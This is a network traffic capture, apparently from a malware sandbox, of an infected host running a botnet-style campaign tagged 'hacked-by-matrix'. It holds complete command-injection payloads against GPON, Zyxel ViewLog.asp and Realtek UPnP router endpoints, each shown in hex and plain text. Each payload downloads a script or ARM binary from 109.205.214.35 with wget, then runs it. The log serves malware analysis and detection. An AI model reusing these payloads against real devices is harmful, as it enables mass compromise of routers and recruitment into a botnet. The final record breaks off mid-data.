Session ID	Source IP	Source Port	Destination IP	Destination Port
960	192.168.2.23	59752	210.200.76.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.241117001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
961	192.168.2.23	60818	82.163.54.63	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.293881893 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:18.783106089 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:18.938735962 CET	874	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:18:18 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 31 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:18 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
962	192.168.2.23	40606	66.242.140.232	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.294190884 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:21.301887035 CET	536	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemot
Mar 21, 2024 05:18:27.445108891 CET	536	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemot
Mar 21, 2024 05:18:39.476979971 CET	536	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemot

Session ID	Source IP	Source Port	Destination IP	Destination Port
963	192.168.2.23	35686	82.66.34.131	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.302997112 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:18.495347977 CET	340	IN	HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="global", charset="UTF-8" Content-Type: application/json;charset=UTF8 Content-Length: 96 Connection: close Date: Thu, 21 Mar 2024 04:18:18 GMT Server: lighttpd/1.4.59 Data Raw: 7b 0a 20 20 20 20 22 65 72 72 6f 72 73 22 3a 5b 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6d 65 73 73 61 67 65 22 3a 22 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 69 73 20 72 65 71 75 69 72 65 64 22 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 5d 0a 7d 0a 0a Data Ascii: { "errors":[ { "message":"Authorization is required" } ]}

Session ID	Source IP	Source Port	Destination IP	Destination Port
964	192.168.2.23	51406	82.165.206.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.347026110 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:18.547286034 CET	995	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:18:18 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 31 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 2e 6c 6f 63 61 6c 64 6f 6d 61 69 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:18 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 313Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at localhost.localdomain Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
965	192.168.2.23	57908	45.223.234.135	8088

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.519185066 CET	908	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 8-6109349-0 0NNN RT(1710994698325 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 38 2d 36 31 30 39 33 34 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 37 31 30 39 39 34 36 39 38 33 32 35 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 38 39 35 33 38 36 30 36 33 31 35 30 38 33 36 30 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 